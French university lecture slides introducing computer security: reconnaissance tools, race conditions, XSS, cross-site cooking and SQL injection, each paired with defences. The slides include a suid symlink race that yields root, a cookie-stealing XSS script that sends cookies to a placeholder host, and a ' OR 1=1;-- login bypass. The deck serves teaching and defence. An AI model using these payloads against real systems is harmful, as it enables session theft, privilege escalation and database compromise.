Introduction à la
sécurité Informatique
Frédéric Gava (MCF) gava@u-pec.fr
LACL, bâtiment P2 du CMC Université de Paris-Est Créteil 61 avenue du Général de Gaulle
94010 Créteil cedex
2/35
Checkmates
Les exemples sont tirés de cas réels rencontrés par la société Checkmates
http://www.checkmates.eu/fr/
http://www.checkmates.eu/_medias/files/CheckMates%20-
%20TOP%2010%20Corporate%20Networks%20Security%
20Flaws%20-%20January%202010%20-%20v1.0.pdf
Cartographie
4/35
Objectifs et outils
Objectifs: avoir le plus d’information possible quant à l’architecture cible.
Exemples d’outils:
Google : informations diverses
Nmap : scanner de ports. Permet de savoir quels services sont ouverts sur une machine.
CheckPhone : permet de faire du wardialing, c’est- à-dire essayer tous les numéros de téléphone d’un segment pour localiser des équipement informatiques.
Traceroute : permet de connaître l’itinéraire d’un paquet entre nous et la cible.
Tcptraceroute : idem que précédent, en TCP.
Hping : permet de créer toutes sortes de paquets, afin d’affiner les résultats.
Telnet : connexion directe à un port sur une machine, pour tests manuels.
etc.
Exemples:
Tcptraceroute : plusieurs connexion, si toujours même machine, c’est certainement un serveur ou un firewall !
Telnet, connexions manuelles, récolter les bannières des services et ainsi identifier les produits :
Sur portail.toto.net 80
GET / HTTP/1.0 HTTP/1.1 200 OK
Date: Tue, 25 Apr 2009 09:30:29 GMT Server: Microsoft-IIS/5.0
Sur portail.toto.net 80
GET / / /
HTTP/1.1 400 Bad Request
Date: Tue, 25 Apr 2009 09:45:43 GMT Server: Apache/1.3.27 (Unix)
Sur portail.toto.net 443
GET / HTTP/1.1 Host: portail.toto.net
HTTP/1.1 400 Bad Request
Date: Tue, 25 Apr 2009 09:44:34 GMT Server: Apache/1.3.29 (Unix) PHP/4.3.4 mod_ssl/2.8.16 OpenSSL/0.9.7c
6/35
Cartographie
Affinage
Dans certains cas, il faut affiner les résultats
Comment savoir ce qui se cache derrière une adresse IP ?
ICMP Timestamp (permet d’obtenir l’heure système de la station distante)
TCP Timestamp (permet d’obtenir l’uptime)
IP ID (numéro de séquence du paquet)
8/35
Affinage (2)
Exemple : ici, 2 serveurs DNS distincts sont
identifiés :
Affinage (3)
Pourtant, il s’agit de la même machine (ou du même
cluster) : les IP ID le montrent
10/35
Affinage (4)
Grâce à cette méthode, les adresses correspondant à
la même machine peuvent donc être regroupées :
Conclusion
L’étape de cartographie est très rarement (voire jamais) réalisée seule.
Elle se place en introduction à des « pentests » systèmes au minimum.
Avantages :
Non intrusif
Optimise les attaques ultérieures
Permet de soupçonner l’existence de failles systèmes (versions, etc.)
Le client peut estimer quelle visibilité il donne de son réseau à l’extérieur
Inconvénients :
Peu de certitudes : les schémas produits sont toujours des estimations de la réalité
Pas de preuve concrète de l’existence de failles (sauf cas particulier, comme les DNS récursifs)
12/35
Quelques attaques
13/35
Race-condition (1)
Soit 2 processus coopératifs de durée aléatoire ayant accès à une même ressource A :
L’état final de A diffère en raison d’une absence de synchronisation
entre processus
14/35
Exemples attaques (1)
D’anciennes implémentations de la commande Unix « mkdir » étaient constituées des opérations suivantes :
Le Super user crée le répertoire “dir”
Les permissions par défaut sont 777.
Le Super user exécute chown pour donner la propriété de « dir » à l’utilisateur de mkdir
L’utilisateur change les permissions via umask(2) selon sa variable umask.
L’attaque :
Trouvez un répertoire où vous pouvez écrire (/tmp) Créez un script A qui :
Tourne en permanence à la recherche de /tmp/Myfile
Supprime dès qu’il trouve ce fichier et le remplace par un link vers /etc/password
Créez un script B qui :
Sleep(5)
Mkdir /tmp/Myfile
Lancez A avec une priorité haute et B avec une priorité faible Que se passe-t-il si le link arrive avant le chown ?
Vous êtes temporairement le propriétaire de /etc/password
Exemples attaques (2)
De nombreuses applications ont été vulnérables, même récemment
En 2009 :
SQL Server OpenSSH Firefox Java
VMWare Etc.
Ces failles peuvent permettre :
D’exécuter des commandes arbitraires D’accéder illégitimement à des données Créer un déni de service
Corrompre des données
etc.
16/35
Exemples attaques (3)
Lorsque plusieurs programmes s'exécutant en même temps partagent une ressource, typiquement le système de fichier. Attaque sur les scripts suid :
$ id
uid=1000(gava) gid=1000(gava) groups=4(adm)
$ head -n 1 /bin/suidscript
#!/bin/sh
$ cd /tmp; echo "id" > titi.sh; ln -s /bin/suidscript toto
$ (nice -n +19 ./toto &) ; ln -sf titi.sh toto uid=0(root) gid=0(root) groups=0(root)
Pourquoi:
le système suit le lien toto et trouve un programme suid devient root
le système invoque l'interpréteur donné dans la première ligne avec le source en argument /bin/sh toto
pendant que /bin/sh se charge, ln remplace toto (le nice -n +19 lui laisse du temps)
/bin/sh lit le contenu de toto et donc de titi.sh et l'exécute id de root les systèmes modernes ignorent suid sur les scripts
Exemples attaques (4)
Attention :
évitez d'utiliser une suite d'appels à chown, chgrp et chmod qui prennent un nom de fichier en paramètre : le fichier peut changer entre deux appels. Utilisez plutôt fchown, fstat et fchmod qui prennent un descripteur de fichier (ne peut pas changer)
un appel à "access" suivi de "open" est fautif car les droits peuvent changer entre les deux appels. A la place, positionner les droits avec umask, setuid et setgid et lancer directement open en testant la valeur de retour.
tout fichier créé doit avoir les droits corrects dès le début utiliser umask suivi de open avec le mode O_CREAT|O_EXCL, puis vérifier l'absence d'erreur
attention à la création de fichiers temporaires (délai entre la création du nom et celle du fichier):
Solution
utilisez mkstemp au lieu de tempfile utilisez umask au préalable
une fois le fichier fermé, ne l'ouvrez plus jamais et ne réutilisez pas son nom
effacez immédiatement le fichier avec unlink il disparaît du système de fichier mais reste utilisable jusqu'à sa fermeture (et le fichier sera effacé même si le programme plante)
plutôt que d'utiliser /tmp, créez un sous-répertoire privé ( umask avant création) attention à NFS (v2) qui ne supporte pas O_EXCL.
ne faîtes pas confiance aux variables d'environnement TMP et TMPDIR si l'utilisateur peut les positionner
18/35
Cross Script Scripting (XSS)
Cette attaque s’effectue à l’encontre des utilisateurs de l’application, et non de l’application elle-même
Elle permet en cas de succès de voler leur session (entre autres), et donc d’accéder à leurs données
Possible à cause d’une erreur de développement : une page
« affiche » ce qu’un utilisateur entre, sans filtrage préalable
De plus, il s’agit d’une faille médiatique (Cf. l’affaire des
banques contre « Kitetoa », bug tweeter etc.)
XSS (1)
2 cas de figure principaux :
Intégration permanente (cas du forum) : la forme la plus destructrice mais assez rare.
Intégration volatile : cas de figure fréquent mais nécessite que l’utilisateur accède au site vulnérable à travers un lien spécialement forgé
Exemple : une page contient la possibilité d’injecter des données dans son contenu à travers un paramètre, sans filtrage :
http://www.unsite.fr/bienvenue.php?prenom=<B>nimportequoi</B>
Le site renvoie une page du type : « Bienvenue nimportequoi ! »
Du code javascript peut alors être intégré dans une page à
travers un lien. Dans ce qui suit, un simple « popup » :
20/35
XSS(2)
XSS (3)
<script>document.location='http://MySite/dump.asp?cookies=„+document.cookie</script>
22/35
XSS (4)
XSS (5)
24/35
XSS (6)
XSS(7)
Détection simple : insérer ce texte champ de formulaire ou dans une URL :
<script type="text/javascript">alert('bonjour')</script>
Elle n’attaque pas directement un serveur ou une application, mais ses utilisateurs
Cette vulnérabilité est relativement simple à détecter :
Retraiter systématiquement le code HTML produit par l'application avant l'envoi au navigateur ;
Filtrer les variables affichées ou enregistrées avec des caractères '<' et '>' En PHP :
utiliser la fonction htmlspecialchars() qui filtre les '<' et '>' (cf. ci-dessus) ;
utiliser la fonction htmlentities() qui est identique à htmlspecialchars() sauf qu'elle filtre tous les caractères équivalents au codage HTML ou Javascript.
utiliser strip_tags() qui supprime les balises.
Utiliser de façon propre les balises HTML <noscript></noscript> (failles connus, voir http://securethoughts.com/2009/02/hacking-for-xss-inside-noscript- html-tags/)
26/35
Cross-site cooking (1)
Exploit des navigateurs Web et repose sur une mauvaise interaction entre deux sites Web.
Cet exploit permet notamment l'usurpation d'identité au moyen d'attaque par fixation de session.
Exemple :
Alice utilise régulièrement le site A sur lequel elle s'identifie de manière sécurisée (site bancaire par exemple)
Oscar incite Alice à visiter le site B, qui envoie au navigateur un cookie d'identifiant de session au nom du site A.
Oscar incite Alice à visiter le site A.
Lorsque Alice se connecte sur le site A avec l'identifiant de session que lui a communiqué le Site B, Oscar a alors accès au compte d'Alice grâce à l'identifiant de session.
Ce type d'attaque peut être couplé à du phishing. Par exemple, le
site B pourrait être fortement semblable au site A et rediriger Alice
vers le site A après lui avoir communiqué l'identifiant de session.
Cross-site cooking (2)
Prévention :
Associer à l'identifiant de session l'adresse IP. Cela empêcherait Oscar de se connecter au compte d'Alice à moins qu'il n'ait la même adresse IP.
Expirer les anciens SIDs
Générer une nouvelle session à chaque connexion. Oscar n'aurait alors plus le bon identifiant de session.
Permettre à Alice de se déconnecter du site, et détruire
alors le cookie d'identifiant de session.
28/35
Injection SQL (1)
Cette fois, cette vulnérabilité concerne l’application elle- même, et le serveur qui l’héberge
Due à un mauvais filtrage des paramètres envoyés par le client à l’application Le pirate injecte des commandes pour
« piloter » la base de données utilisée par l’application
Risques critiques pour l’application, voire pour le système.
Possibilité :
D’obtenir toutes les données de la base notamment les informations des clients
De corrompre les données de la base de donnée De « defacer » le site Web
De compromettre totalement le serveur (prise de main à distance) De rebondir sur d’autres serveurs
Achat sans payer (sites marchand) etc.
Injection SQL (2)
Exemple :
Ensuite, envoyer des requêtes plus complexes …
30/35
Injection SQL (3)
Injection SQL (4)
Un formulaire HTML contient
<form method="post" action="process_login.php">
<input type="text" name="username">
<input type="password" name="password"></form>
Exemple de requête exécutée par le serveur :
SELECT * FROM Users WHERE
username = ' "& username &" ' AND password = ' "& password &" ' ;
Si un utilisateur fournit jsmith comme Username et MyPass comme mot de passe, la requête suivante est envoyée au SGBD :
SELECT * FROM Users WHERE
username = ‘Jsmith' AND password =‘MyPass' ;
32/35
Injection SQL (5)
Réalisation de l’attaque :
L’attaquant fournit le mot de passe suivant :
' OR 1=1;--
Dans ce cas, la requête suivante est envoyée à la base :
SELECT * FROM Users WHERE username = ‘jsmith' AND password = ' ' OR 1=1;-- ' ;
Dans ce cas, le SGBD retourne le n-uplet du user Jsmith (ou toutes les lignes)
Si on ne connaît pas d’utilisateur, on peut utiliser le même champ pour le login
connecté en tant que premier utilisateur de la base
En général, il s’agira de l’administrateur de la base
Injection SQL (6)
Protection :
Filtrage des entrées utilisateur
Utiliser une liste blanche (n’autoriser que le réputé valide)
Type (entier, caractères, etc.) Range
Lettres Chiffres
Et rejeter TOUT le reste
Si difficile à mettre en œuvre, utiliser une liste noire (interdire ce qui est connu comme dangereux)
Les caractères spéciaux. ex : # " ' ;
Les mots clefs. ex : SELECT, UNION, DELETE, exec, master..xp_cmdshell
Il peut être utile de filtrer les sorties
Ex : messages d’erreurs trop explicites…
Erreur de connexions … mieux vaut ne rien afficher !
34/35
